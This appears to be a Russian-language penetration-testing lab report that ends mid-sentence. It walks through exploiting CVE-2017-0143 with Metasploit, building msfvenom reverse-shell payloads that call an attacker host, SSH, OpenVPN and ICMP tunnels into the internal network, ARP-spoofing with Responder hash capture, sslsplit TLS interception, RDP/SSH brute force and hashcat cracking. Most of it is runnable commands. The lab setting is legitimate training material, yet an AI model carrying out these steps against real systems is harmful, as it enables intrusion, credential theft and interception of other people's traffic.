0. Подготовить виртуальную инфраструктуру в соответстии со схемой Схема стенда: ![](https://i.imgur.com/HHH98Qv.png) # 1. Корпративная архитектура. Объекты инфраструктуры. Вектора атак //Написать список возможных атаки первоначального доступа. Свой взгляд, как бы вы проникли вовнутрь инфраструктуры орагнизации. Это необходимо для первоначального понимания инфраструктуры с точки зрения ИБ. Какие слабые места в ней могут быть. Для осуществления попытки первоначального доступа злоумышленником в организацию могут использоваться: - различные варианты разведки; - различные атаки. в качестве разведки могут использоваться: - OSINT включает поиск открытой информации о доменах, ip-адресах, используемых в организации сервисах (web, почтовые сервисы), сетевые каталоги и т.д. Так же, поиск информации о сотрудниках. - сканирование найденных dns-имен, ip-адресов и получение расширенной информации (данные из OSINT) включает использование сканеров уязвимостей (nmap, MP8, Nessus или др.). Выполняет поиск сервисов, их версий, возможных уязвимостей, недостатков конфигурации. Атака может содержать: - при нахождении узвимостей приложениях/сервисах использование эксплоитов и получение администраторского доступа. - при нахождении узвимостей в вебе (OWASP) испльзование соответствующих атак (SQL-инъекция, нахождение чувствительных данных в открытом доступе и т.д.). - при наличии почтовых сервисов выполнение брутфорса - атак на перебор паролей/почтовых УЗ. Включая УЗ, найденные в OSINT. - при нахождении интерфейсов управления (rdp, ssh, vnc, ...) выполнение брутфорса - атак на перебор паролей. - фишинг атаки испольование почтовых сервисов - отправка фишинговых писем. Или др. сервисов при возможности. - перехват сетевого трафика, поиск чувствительной информации обеспечить каким-либо образом прохождение сетевого трафика через ВМ злоумышленника или получение копии трафика. Может использоваться: а) физическое устройство с интерфейсами в режиме Моста, установленное в разрыв б) атака ARP-спуфинг (из внутренней сети или на уровне сетевого провайдера) в) если используется BGP - атака на BGP на уровне провайдера г) разветвление сетевых сигналов (для оптики) или использование устройств съема информации с кабелей передачи данных. Возможен как перехват УЗ, так и хешей паролей с УЗ, др. данных. Для готовых хешей - выполнить атаку подбора паролей. - apt-атаки Использование целенаправленных атак на известную инфраструктуру пользователя (версии ПО, ОС и т.д.), включая вредоносные файлы, которые не детектятся антивирусом. Передача вредоносных файлов по почте, сетевые каталоги и т.д. - DDoS-атаки если требуется получить недоступный, нерабочий сервис организации. # 2. OSINT и социальная инженерия Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. *Собранные данные включать в отчет не нужно!* В качестве источников могут использоваться: - веб-сайт организации; - данные из различных утечек. Данные сотрудников могут открыто отображаться на сайте - в разделах по различным подразделениям (отдел кадров, обучение, ...). Так же данные могут находиться в документах (pdf, word), находящимся в открытом доступе на веб-сайте организации. # 3. Сканирование сети корпоративной инфраструктуры # 3.1 Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW) Внешний IP адрес pfsense - 10.10.51.191. Проброс портов (Destination NAT) настраивается на МЭ fpsense: - порт 445 внешнего интерфейса транслируется в порт 445 ВМ Win7; - порт 3389 внешнего интерфейса транслируется в порт 3389 ВМ Win7. Для пропуска трафика настраивается правило на МЭ fpsense. # 3.2 Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии 3. Для сканирования используется СПО nmap. Скан портов определяет доступные порты и сервисы (по их отбивкам и по стандартным портам). У nmap есть расширенный режим - возможность использование скриптов. Это позволяет определить уязвимости. nmap 10.10.51.191 -A -sV --script=\*vuln* сканирование определило ОС, уязвимый сервис на порту 445: ![](https://i.imgur.com/PdGmSmL.png) ![](https://i.imgur.com/GBnrYFO.png) # 3.3 Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3. Для эксплуатации найденной уязвимости используется ПО metasploit. msfconsole msf6> ![](https://i.imgur.com/TspS3bH.png) команда выполняет поиск эксплоитов: search CVE-2017-0143 ![](https://i.imgur.com/FPQufDX.png) Отображается несколько доступных вариантов. exploit - выполнение атаки. auxilary - проверка уязвимости, но без атаки. Выбирается вариант 0: use 0 Для выполнения атаки требуется проверить опции и задать (если еще не заданы): show options set RHOST 10.10.51.191 run ![](https://i.imgur.com/K083zyt.png) Атака выполнена успешно, получена консоль meterpreter. Есть возможность использовать различные команды в meterpreter (по help). \> sysinfo //показывает параметры системы \> shell //переходит в консоль windows - cmd ![](https://i.imgur.com/fVeMmVD.png) Эксплуатация уязвимости успешно выполнена. # 4. Проникновение за периметр инфраструктуры (использование SSH) Рассматриваемые настройки SSH работают только по TCP протоколу. Перед выполнением настроек отключается проброс порта 3389 и 445 на ВМ pfsense. # 4.1 Создать проброс портов (445 и 3389) с помощью технологии SSH PortForwarding SSH PortForwarding обеспечивает обратные (reverse) коннекты. При подключении по SSH Клиент указывает какой локальный порт какому порту будет соответствовать на Сервере. Сервер начинает слушать данный порт и при подключении на него - пробрасывать соединение до Клиента на указанный порт. На стенде SSH соединение устанавливается между Kali-VPN-SRV и внутренней ВМ Win-10. ВМ Win-10 инициирует соединение, доступ в инет ей открыт. Типичный МЭ организации запрещает доступ сторонних адресов извне. Но при этом оставляет исходящий трафик открытым (с внутренней подсети). Подготовка включает запуск службы SSH на ВМ Kali-VPN-SRV. ![](https://i.imgur.com/PNZUd9e.png) ip-адрес Kali-VPN-SRV - 10.10.51.222 ![](https://i.imgur.com/nuJZlj0.png) Команда проверки запущенного сервиса SSH - на порту tcp/22: ss -tunlp На ВМ Win10 требуется установить WSL, разрешить удаленный доступ: ![](https://i.imgur.com/X9yMMXk.png) ![](https://i.imgur.com/zVE3Mof.png) Проверка связности - с ВМ Win10 по ssh подключиться на ВМ Kali-VPN-SRV. Должно работать подключение SSH. Выполнение подключения SSH port forwarding с ВМ Win10: ssh -R 3389:127.0.0.1:3389 user@10.10.51.222 ssh -R 445:127.0.0.1:445 user@10.10.51.222 На ВМ Kali-VPN-SRV слушаются порты, указанные при подключении SSH port forwarding: ![](https://i.imgur.com/X3aheK9.png) Для проверки выполняется подключение с ВМ Kali-VPN-SRV на локальный порт 3389 через XfreeRdp. Выполняется успешное перенаправление (forward) соединения на ВМ Win10. xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3389 ![](https://i.imgur.com/BRNsKmZ.png) Так же есть возможность перенаправления подключения на какую-то другую ВМ в защищаемой сети. # 4.2 Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Подключение выполняется с ВМ Debian на ВМ Kali-VPN-SRV. 1) Подготовка ВМ Kali-VPN-SRV На ВМ Kali-VPN-SRV работает SSH-Сервер. В конфигурационном файле sshd_conf добавляются опции: * PermitTunnel yes; * PermitRootLogin yes. Выполняется команда перезапуска ssh-Сервера (systemctl restart ssh.service). Требуется задать пароль на root. passwd root 2) Подключение с ВМ Debian и установление туннеля Выподняется команда подключения: sudo ssh -w any:any root@10.10.51.222 //успешное подключение к Kali на Kali и Debian появились новые адаптеры tun (ifconfig). Но они выключены. Требуется задать ip - из сети 172.10.10.0: - Kali-SSH-SRV - 172.10.10.1/24: - Debian - 172.10.10.2/24. ip addr add 172.10.10.2/24 dev tun0 ip link set dev tun0 up nano /etc/sysctl.conf //настройка forwarding для ipv4 sysctl -p Аналогичные настройки выполняются на ВМ Kali-VPN-SRV (интерфейс tun1): ![](https://i.imgur.com/vY7x2PU.png) //настройка NAT на ВМ Debian iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE apt install iptables-persistent //для сохранения конфига iptables Проверка работоспособности туннеля с помощью ping: ![](https://i.imgur.com/HrQNdVA.png) на Kali-SSH-SRV добавляется маршрут: ip route add 192.168.1.0/24 via 172.10.10.2 ping 192.168.1.1 ![](https://i.imgur.com/axD53JO.png) Таким образом, L3 SSH-туннель успешно установлен. # 4.3 Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника Подключение выполняется с ВМ Debian на ВМ Kali-VPN-SRV. NAT настраивать не требуется. На ВМ Debian: apt install bridge-utils //для последующего создания bridge На ВМ Kali-VPN-SRV выключается интерфейс ssh tun L3 (маршрут до сети 192.168.1.0/24, соответственно, отключается). 1) выполнение подключения с ВМ Debian по ssh: ssh root@10.10.51.222 -o Tunnel=ethernet -w any:any ![](https://i.imgur.com/D0ClrpI.png) на Kali и Debian появились новые адаптеры tap (ifconfig). Но они выключены. 2) Настройка Debian Для настройки удобно переключиться в другую консоль - Alt + F2 (или F3 и т.д.). tap0 добавляется в бридж с интерфейсом ens3. Настройка выполняется с помощью утилиты brctl (если сделать настройки в файле и перезапустить сеть - то подключение ssh пропадет, включая интерфейс tap. Поэтому этот вариант не подходит). brctl addif br0 tap0 brctl show ![](https://i.imgur.com/kQUfiCU.png) 3) Настройка ВМ Kali-VPN-SRV Интерфейс tap может быть выключен. Тогда требуется его включить: ip link set dev tap1 up Для получения ip адреса можно воспользоваться DHCP-сервером, работающем в защищенном сегменте сети: dhclient tap1 В результате получен ip-адрес из защищенной подсети - 192.168.1.109/24. Доступны ip-адреса защищаемого сегмента: ping 192.168.1.1 //ip-адрес доступен ![](https://i.imgur.com/vG9Qe64.png) Таким образом, SSH-туннель успешно установлен. # 4.4 Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер На ВМ Kali-VPN-SRV выключается интерфейс ssh tun L2. Включен только интерфейс ens3: ![](https://i.imgur.com/I1upFom.png) 1) Схема сети В качестве SSH-прокси используется ВМ Debian. В качестве клиента прокси используется ВМ Win7. Для обеспечения доступа в интернет используется SSH подключение между ВМ Debian и Kali-VPN-SRV. Kali-VPN-SRV маршрутизирует сетевой трафик в сторону интернета. 2) Настройка ВМ Debian Подключение выполняется командой: ssh -f -qNTn -D "*:8080" root@10.10.51.222 В результате создается процесс, который слушает порт 8080 (в соответствии с командой). ss -tunlp ![](https://i.imgur.com/eARRL55.png) ВМ Win7 настроена так, чтобы не было доступа во внешнюю подсеть (отсутствует шлюз по умолчанию). ![](https://i.imgur.com/Sulxg6Q.png) Соответственно, с ВМ Win7 недоступны веб-ресурсы из сети инетрнет: ![](https://i.imgur.com/mG1kUF8.png) на Win7 в качестве прокси указывается ВМ Debian. Важно - требуется указать только socks прокси (с другими типами соединение может не работать). ![](https://i.imgur.com/ZmKWh7Y.png) ![](https://i.imgur.com/W0nBZUx.png) 3) проверка работы ssh-прокси Запрос curl показывает работу соединения. Но в данном случае отдается ошибка 301 на уровне http. ![](https://i.imgur.com/Q6gxLoK.png) После настройки прокси с ВМ Win7 успешно открываются веб-ресурсы из сети интернет: ![](https://i.imgur.com/VizwWQA.png) # 5. Использование OpenVPN # 5.1 Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне Выполняется подключение с ВМ RPi-4 (openvpn клиент) на Kali-VPN-SRV (openvpn сервер). 1) Установка сервера OpenVPN OpenVPN сервер устанавливается на ВМ Kali-VPN-SRV (во внешней сети). установка выполняется скриптом, скаченным с ресурса: https://github.com/angristan/openvpn-install?ysclid=l7edc4wwet305021265 Вопросы установщика и ответы: ![](https://i.imgur.com/Tm8KAKt.png) PEM passhprase - 12345 passhprase от ключа - 12345 ![](https://i.imgur.com/Rm8kFO3.png) генерирование сертификата Клиента OpenVPN: Клиент - user подключение - без пароля Сгенерированный файл будет храниться в /home/user/user.ovpn Настройка конф.файл для Сервера OpenVPN: /etc/openvpn/server.conf Требуется закоментировать 3 строки push (все такие строки) и перезапустить сервис nano /etc/openvpn/server.conf ![](https://i.imgur.com/cyWVfRh.png) service openvpn restart OpenVPN Сервер работает на порту udp/1194. ss -tunlp ![](https://i.imgur.com/1jJvxX8.png) 2) Настройка OpenVPN клиента OpenVPN клиент устанавливается на ВМ RPi-4. ВМ установлена в разрыв между коммутатором Cisco и FW pfsense. Настройка на ВМ RPi-4: - разрешить пересылку пакетов sysctl.conf nano /etc/sysctl.conf //настройка forwarding для ipv4 sysctl -p ![](https://i.imgur.com/pBjDoHp.png) - IP на br0 Установка - apt install bridge-utils Выполняется настройка bridge между 2мя интерфейсами для прозрачной передачи трафика между pfsense и коммутатором Cisco. ![](https://i.imgur.com/e5gW55n.png) По dhcp был получен 192.168.1.104/24 на интерфейсе br0 //или можно задать статический ip в файле ![](https://i.imgur.com/we2UQQo.png) - nat iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE - установка пакета openvpn apt install openvpn - подготовка профиля openvpn для подключения Профиль клиента, сгенерированный на OpenVPN Сервере передается на ВМ RPi-4. ![](https://i.imgur.com/VeFSoei.png) Редактирование user.ovpn в текстовом редакторе: #explicit-exit-notify //закоментировать #ignore-unknown-Options block-outside-dns //закоментировать #setenv opt block-outside-dns //закоментировать ![](https://i.imgur.com/Ce5Jemf.png) - подключение к Серверу OpenVPN Подключение выполняется командой: openvpn user.ovpn Подключение успешное. ![](https://i.imgur.com/WEdEyUT.png) Клиент получает ip 10.8.0.2/24, ответный адрес пингуется (10.8.0.1): ![](https://i.imgur.com/iAgKi2s.png) 3) Выполнение роутинга для обеспечения доступности подсетей защищенного сегмента После подключения на ВМ Kali-VPN-SRV создается интерфейс tun: ![](https://i.imgur.com/yg3aGL5.png) На ВМ Kali-VPN-SRV добавляется маршрут до защищаемой подсети через интерфейс openvpn - tun0. ![](https://i.imgur.com/O9DW6lR.png) Но команда ping показывает недоступность защищаемых адресов: ![](https://i.imgur.com/1Gd9Eb3.png) //Требуется доп. настройка Для настройки роутинга через OpenVPN требуется сделать дополнительные настройки на ВМ Kali-VPN-SRV: - в каталоге /etc/openvpn/ccd/ создать файл с именем пользователя (user). - в файле прописать маршрут. iroute 192.168.1.0 255.255.255.0 ![](https://i.imgur.com/fgz6dGq.png) Далее, выполняется переподключение клиента openVPN и задание NAT командой проверка доступности защищаемой подсети с сервера openVPN: ![](https://i.imgur.com/tUWf6ak.png) Таким оборазом, после выполнения настроек подсети защищаемого сегмента доступны с ВМ Kali-VPN-SRV. # 5.2 Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника Для OpenVPN L2 - маршрут и файл /etc/openvpn/ccd/user больше не потребуются на ВМ Kali-VPN-SRV (удалены). 1) Конфигурация OpenVPN сервера На ВМ Kali-VPN-SRV изменяется конфиг: dev tap //вместо dev tun service openvpn restart ![](https://i.imgur.com/5rN0XyK.png) 2) Конфигурация OpenVPN клиента На ВМ RPi-4 изменяется конфиг: dev tap //вместо dev tun ![](https://i.imgur.com/VMN1gEt.png) очищаются настройки iptables (ранее делался nat): iptables -F 3) Подключение с помощью openvpn На ВМ RPi-4 выполняется подключение: openvpn user.ovpn ![](https://i.imgur.com/bTMpkNr.png) в результате появляется новый интерфейс tap: ![](https://i.imgur.com/LWpEa4c.png) 4) добавление интерфейса tap в бридж Добавление интерфейса tap в бридж обеспечит L2 соединение ВМ Kali-VPN-SRV с защищенным сегментом сети на уровне L2. 1) Настройка ВМ RPi-4. Настраивается бридж из eth0, eth1, br0. nano /etc/network/interfaces ![](https://i.imgur.com/Py6dAEr.png) Проверка настройки сетевых интерфейсов. ip a ![](https://i.imgur.com/jcd5rhg.png) Интерфейс tap0 является частью бриджа br0 (...master br0...). На br0 присвоился ip-адрес по dhcp. 2) Настройка ВМ Kali-VPN-SRV Успешно добавился интерфейс tap0, ему присвоился ip-адрес из защищаемого сегмента сети (192.168.1.111/24). ![](https://i.imgur.com/CaUTOWH.png) успешно выполняется проверка доступности pfsense: ping 192.168.1.1 # 6. Вредоносное программное обеспечение в корпоративной среде # 6.1 Выполнить конфигурацию инфраструктуры для возможности запуска вредоносов (отключить защитник Windows) На ВМ Kali-VPN отключаются туннельные интерфейсы, доступ во внутренний сегмент сети (192.168.1.0/24) отсутствует. ![](https://i.imgur.com/G1poaEd.png) На ВМ Win7 отсутствует антивирусное ПО. # 6.2 Создать скрипт выполнения reverse-shell подключения со следующей полезной нагрузкой Атака выполняется с использованием Сервера и Клиента. Сервером является ВМ Kali-VPN. Клиентом - ВМ Win7. 1) Создание Серверной части пейлоада на Kali-VPN создается Сервер для получения соединений - Meterpreter reverse https Выполняется создание и запуск Серверной части, выбор эксплоита и пейлоада: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_http ![](https://i.imgur.com/0xwaIw6.png) задать option //port 8080 ![](https://i.imgur.com/Vp6tzam.png) run ![](https://i.imgur.com/Pwvctnk.png) 2) создание Клиентской части пейлоада на ВМ Kali-VPN-SRV создается клиентская часть пейлоада. указывается ip-адрес сервера для подключения (lhost) и порт(lport). msfvenom -p windows/x64/meterpreter/reverse_http lhost=10.10.51.222 lport=8080 -f exe -o reverse-http-meter.exe ![](https://i.imgur.com/upliF6N.png) Описание пейлоада windows/x64/meterpreter/reverse_http: - windows - ОС - x64 - архитектура - meterpreter - тип консоли. После запуска будет доступна консоль meterpreter и ввод команд в ней - revers_http - использует http протокол подключения, обратное reverse подключение (подключение к серверу, чтобы он подключился к клиенту). 3) альтернативный вариант создания Серверной и Клиентской частей пейлоада Рассматривается тип пейлоада - powershell_reverse_tcp. - создание Серверной части На ВМ Kali-VPN-SRV создается Сервер с эксплоитом типа exploit/multi/handler, с пейлоадом типа windows/powershell_reverse_tcp. Порт Сервера указывается 8081: ![](https://i.imgur.com/wNCzuJg.png) - создание пейлоада для Клиентской части Клиентская часть создается утилитой msfvenom. Указывается тот же тип пейлоада, ip и порт Сервера: ![](https://i.imgur.com/gFyoK3G.png) В результате успешно создан пейлоад: ![](https://i.imgur.com/9iSNh5q.png) - Запуск пейлоада на ВМ клиента Пейлоад запускается на ВМ Win7. В результате на Сервере, ВМ Kali-VPN-SRV, успешно получена консоль powershell: ![](https://i.imgur.com/ePHuj40.png) # 6.3 Передать на машину жертвы с помощью python http.server вредоносный файл и запустить его, предварительно настроив серверную часть msf multi/handler 1) подготовка веб-сервера для размещения пейлоада Веб-сервер создается с помощью модуля python на ВМ Kali-VPN-SRV. создается каталог WEB с размещаемыми на веб-ресурсе файлами. И запускается веб-сервер. mkdir WEB cd WEB python -m http.server ![](https://i.imgur.com/pUqol6O.png) Сервис работает: netstat -tunlp ![](https://i.imgur.com/WZzcOsJ.png) При открытии веб-портала в браузере - отображается список файлов, доступных для скачивания. Список включает файл пейлоада - reverse-http-meter.exe. ![](https://i.imgur.com/ChaDgZl.png) 2) Запуск пейлоада на клиентской ВМ На ВМ Win7 запускается файл пейлоада - reverse-http-meter.exe. На ВМ Kali-VPN-SRV отображается сессия подключенного клиента (PC-WIN7). Отображается сессия meterpreter: ![](https://i.imgur.com/RoMN9kf.png) - PowerShell reverse tcp появилась консоль ОС Windows. # 6.4 Выполнить любые три скрипта пост-эксплуатации захваченной машины 1) использование post/windows/escalate/unmarshal_cmd_exec Сценарий постэксплуатации создает УЗ пользователя. В качестве опций требуется указать сессию (номер) выбранного модуля. ![](https://i.imgur.com/lP2Upcv.png) Была создана УЗ txUmMU с паролем IPuTVLcVvwnm. ![](https://i.imgur.com/p3Pl9v0.png) 2) использование post/windows/gather/enum_shares Сценарий подсчитывает общие каталоги. В качестве опции требуется указать номер сессии - 1. Найден 1 общий каталог. ![](https://i.imgur.com/YubEZYR.png) 3) использование post/windows/gather/enum_logged_on_users Сценарий подсчитывает выполнивших вход пользователей в данный момент, а так же недавно выполнивших вход. ![](https://i.imgur.com/7dRP4cy.png) 4) использование post/windows/gather/credentials/credential_collector Сценарий собирает УЗ. ![](https://i.imgur.com/iFKjlxI.png) В данном случае постэксплуатация запускается, но выдает ошибку архитектуры. ![](https://i.imgur.com/619zskt.png) # 7 Особенности атак, использующих метод перехвата трафика # 7.1 Подготовить инфраструктуру для проведения MITM атаки, а также подготить необходимые инструменты: ARP-Spoof (пакет утилиты dsniff) и утилиту sslsplit Для атаки MITM используется ВМ внутри защищаемого сегмента сети - ВМ Kali-linux, которая используется для перехвата трафика между ВМ Win7 и DC. 1) настройка ВМ Kali-linux apt update apt install dsniff //для атаки АРП спуфинг nano /etc/sysctl.conf //настройка пересылки пакетов sysctl -p //применение настройки пересылки пакетов ![](https://i.imgur.com/4n4vIAc.png) 2) Настройка ВМ DC На ВМ DC устанавливается роль Контроллера домена и ДНС-сервер. Создается доменный пользователь user. ![](https://i.imgur.com/rODZ6QA.png) на сетевом интерфейсе - в свойствах ДНС указывается локальный ip - 127.0.0.1. В оснастке DNS-сервера в свойствах сервера, во вкладке Forward - требуется настроить адрес 77.88.8.8 для пересылки внешних днс-запросов (вне домена ptlab.net). 3) Настройка ВМ Win7 ВМ Win7 вводится в домен ptlab.local. ![](https://i.imgur.com/OvPHD1G.png) # 7.2 В зоне LAN инфраструктуры выполнить перехват трафика машины жертвы (Windows 7 или Windows 10) 1) Предварительно требуется определить IP адреса ВМ Win7 и DC. ВМ Win7 - 192.168.1.101 (dhcp) ВМ DC - 192.168.1.200 (static) Атака запускается с Kali-linux: arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.101 В Wireshark видно много запросов ARP, SMB между ВМ с ОС Windows. Трафик проходит через ВМ Kali-linux, атака MITM выполнена: ![](https://i.imgur.com/TjLT1Ae.png) 2) настройка обработчика трафика (Responder) на ВМ Kali-linux запускается обработчик трафика: sudo responder -I eth0 -wd ![](https://i.imgur.com/p2dGNtj.png) проверка работы сервиса Responder на порту SMB - tcp/445 ![](https://i.imgur.com/OFAXQC4.png) # 7.3 Настроить правила предобработки трафика с помощью утилиты iptables По умолчанию трафик между ВМ - транзитный, не предназначен для Kali-linux. Для перенаправления транзитного трафика на Responder требуется настроить правила iptables. Правило перенаправляет трафик SBM с ВМ Windows на Responder. iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445 На Wireshark виден трафик SMB между ВМ Win7 и DC: ![](https://i.imgur.com/EnL0v5n.png) Лог Responder отображает перехваченные УЗ и хэши паролей: ![](https://i.imgur.com/Yb1YPa5.png) Т.к. Responder не выполняет переылку перехваченных запросов на ВМ DC по протоколу SMB, то сетевой каталог на Win7 будет недоступен: ![](https://i.imgur.com/40vCbiS.png) Просмотр заданного правила iptables: iptables -t nat -L ![](https://i.imgur.com/LgQkNPY.png) Таким образом, успешно выполнена атака MITM с помощью утилиты Responder с использованием протокола SMB. # 7.4 Выполнить подмену сертификата для зашифрованного трафика с помощью утилиты sslsplit Атака sslSplit выполняет подмену сертификата для веб-ресурсов, обеспечивая расшифровку сетевого трафика на ВМ Kali-linux. Атака описана в статье - https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traffic/ 1) Настройка ВМ Kali-linux - Установка sslSplit Установка sslSplit на ВМ Kali-linux выполняется в соответствии со статьей. git clone https://github.com/droe/sslsplit.git - применение правил iptables Для обработки трафика требуется настроить его перенаправление на локальный адрес ВМ: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080 ![](https://i.imgur.com/Ki5CXNN.png) - генерирование сертификата mkdir ssl openssl genrsa -out ca.key 4096 //генерирование закрытого ключа openssl req -new -x509 -key ca.key -out ca.crt //генерирование открытого ключа по закрытому - Запуск утилиты sslsplit Указываются порты для открытого (tcp/8080) и шифрованного (ssl - 8443) веб-трафика. Если отсутствуют каталоги из команды - создать. sslsplit \\ -D \\ -l connections.log \\ -j /tmp/sslsplit/ \\ -M ssl_key_logfile \\ -S logdir/ \\ -k ca.key \\ -c ca.crt \\ ssl 0.0.0.0 8443 \\ tcp 0.0.0.0 8080 ![](https://i.imgur.com/fk2YwFc.png) - запуск arp-спуфинга Т.к. Win7 открывает веб-ресурсы из интернета, то MITM требуется между Win7 и FW pfsense: arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.101 ![](https://i.imgur.com/FeQqJsQ.png) 2) Проверка доступа в интернет с ВМ Win7 при открытии веб-ресурсов с ВМ Win7 отображается окно предупреждения, что сертификат не соответствует веб-ресурсу: ![](https://i.imgur.com/BNChnC8.png) В свойствах сертификата видно, что он выдан организацией - MyOrg, этот сертификат не является валидным для ВМ Win7. ![](https://i.imgur.com/DMRqxpZ.png) # 7.5 Установить кастомный корневой сертификат центра сертификации на машинку жертвы Для обеспечения валидности сертификата требуется его установить (открытый ключ/сертификат) в локальное хранилище доверенных сертификатов: ![](https://i.imgur.com/cuIWKpK.png) При продолжении открытия веб-ресурса - успешно открывается веб-страница: ![](https://i.imgur.com/jbPaPJz.png) # 7.6 С помощью wireshark выполнить захват и расшифровку трафика При запуске sslsplit и указании используемых файлов сертификата - создается файл ssl_key_logfile. Для возможности анализа открытого трафика можно воспользоваться Wireshark. Предварительно требуется выполнить его настройку - загрузить ключ для расшифровки трафика. требуется зайти в меню edit/preference /Protocols /TLS //меню (Pre)-Master-secret log filename. ![](https://i.imgur.com/Ql37Zj7.png) Загружается серттификат по пути /home/user/ssl/ssl_key_logfile ![](https://i.imgur.com/rK7gfWt.png) После настройки запускается Wireshark: ![](https://i.imgur.com/Z5xhn7B.png) # 8 Особенности атак, использующих метод грубой силы # 8.1 Подготовить инфраструктуру для проведения BruteForce атак Для выполнения атак брутфорса рассматривается несколько вариантов подбора паролей: 1) подбор пароля к хэшу требуется установить утилиту hashcat. в качестве хэшей могут использоваться данные, полученные при работе responder: ![](https://i.imgur.com/TIH4Cyh.png) в качестве паролей может использоваться файл rockyou. ![](https://i.imgur.com/cZZDc2a.png) Файл разархивируется и копируется в каталог пользователя /home/user/ ![](https://i.imgur.com/PCBKQyY.png) Для выполнения подбора пароля в конец файла добавляется искомый пароль. echo "eve@123" >> /home/user/rockyou.txt ![](https://i.imgur.com/q4TTOkp.png) 2) подбор УЗ к RDP требуется проверить утилиту patator. Если она не установлена - выполнить установку. Так же, могут быть использованы другие утилиты. 3) подбор УЗ к SSH требуется проверить утилиту ssb. Если она не установлена - выполнить установку. Так же, могут быть использованы другие утилиты. # 8.2 Провести атаку на сервис RDP Для выполнения атак брутфорса (перебора УЗ и пароля) по протоколу RDP используется утилита patator. Атака запускается с ВМ Kali-linux, в качестве цели указывается ВМ Win7. Требуется задать файл с УЗ (логинами). Создается username.txt, его содержимое указано на рисунке. ![](https://i.imgur.com/2cELMIb.png) в качестве паролей используется ![](https://i.imgur.com/XifGfPX.png) ![](https://i.imgur.com/ZPng19B.png) # 8.3 Провести атаку на сервис SSH Для выполнения атак брутфорса (перебора УЗ и пароля) по протоколу RDP используется утилита ssb. Атака запускается с ВМ Kali-linux, в качестве цели указывается ВМ Debian. На ВМ Debian требуется запустить ssh-сервер: ![](https://i.imgur.com/79fA3e5.png) Запуск атаки: ssb -p 22 -w /root/ssb/pass.txt -o creds.txt root@192.168.1.108 ![](https://i.imgur.com/jK6YQFa.png) При просмотре лога аутентификации на ВМ Debian - отображаются неудачные попытки аутентификации. tail /var/log/auth.log ![](https://i.imgur.com/HhOs7qy.png) # 8.4 Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш Для подбора пароля к хэшу используется утилита hashcat. Дополнительно, hashcat умеет подбирать хэши, сделанные в формате ntlm. Для этого используется опция "-m 5600". Файл лога responder, содержащий УЗ и хэш пароля, использует формат ntlm. Таким образом, есть возможность подбирать пароль без дополнительных преобразований файла с УЗ и хэшем. запуск утилиты: hashcat -a 0 -m 5600 smb....txt /usr/share/wordlists/rockyou.txt -o pass.txt ![](https://i.imgur.com/BgyOL9F.png) Окно работы утилиты показано на рисунке. Есть возможность смотреть статистику (s). ![](https://i.imgur.com/UDmrtw4.png) Статистика и результат работы утилиты - пароль успешно подобран. ![](https://i.imgur.com/YbLYcnB.png) в файле с хэшем, полученным от responder, утилита добавляет найденный пароль: ![](https://i.imgur.com/LwMRata.png) # 9 Инструменты скрытия трафика от систем защиты # 9.1 Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля. Вполнить реализацию ICMP тоннеля. Туннель строится между ВМ Kali-VPN-SRV (Внешняя подсеть) и Debian (внутренняя подсеть). Для установки icmp-туннеля используется утилита hans. Статья - https://github.com/friedrich/hans?ysclid=l87kabt4lb80121193 1) Настройка ВМ Kali-VPN-SRV Требуется установка пакетов: apt install git g++ net-tools make скачивается каталог утилиты (командой git). ![](https://i.imgur.com/XeH03Nd.png) mv hans/ git-hans //переименование каталога cd git-hans/ ![](https://i.imgur.com/rHjnKKz.png) Запускается компиляция кода hans: make Компиляция успешно выполнена, появится исполнякмый файл hans: ![](https://i.imgur.com/8UDi1Pi.png) Отображение справки hans: ![](https://i.imgur.com/siIFuqC.png) Запуск утилиты hans, Серверная часть: hans -s 10.1.2.0 -p Qq123456 где -p - пароль (задается любой). -s - задается подсеть туннельного интерфейса (выбрана для примера 10.1.2.0/24). ![](https://i.imgur.com/gSH6kO3.png) В результате создается туннельный интерфейс tun0. 2) Настройка ВМ Debian Аналогично, устанавливаются пакеты git g++ net-tools make. Скачивается и компилируется утилита hans: ![](https://i.imgur.com/II9a6BA.png) Запуск утилиты hans, Клиентская часть. hans -c 10.10.51.229 -p Qq123456 где 10.10.51.229 - ip-адрес ВМ Kali-VPN-SRV. ![](https://i.imgur.com/V8pntep.png) Появляется новый интерфейс tun0 с ip-адресом 10.1.2.100/24. Успешно пингуется ответный интерфейс туннеля. ping 10.1.2.1 ![](https://i.imgur.com/94CK2HF.png) После установления туннеля есть возможность подключиться с ВМ 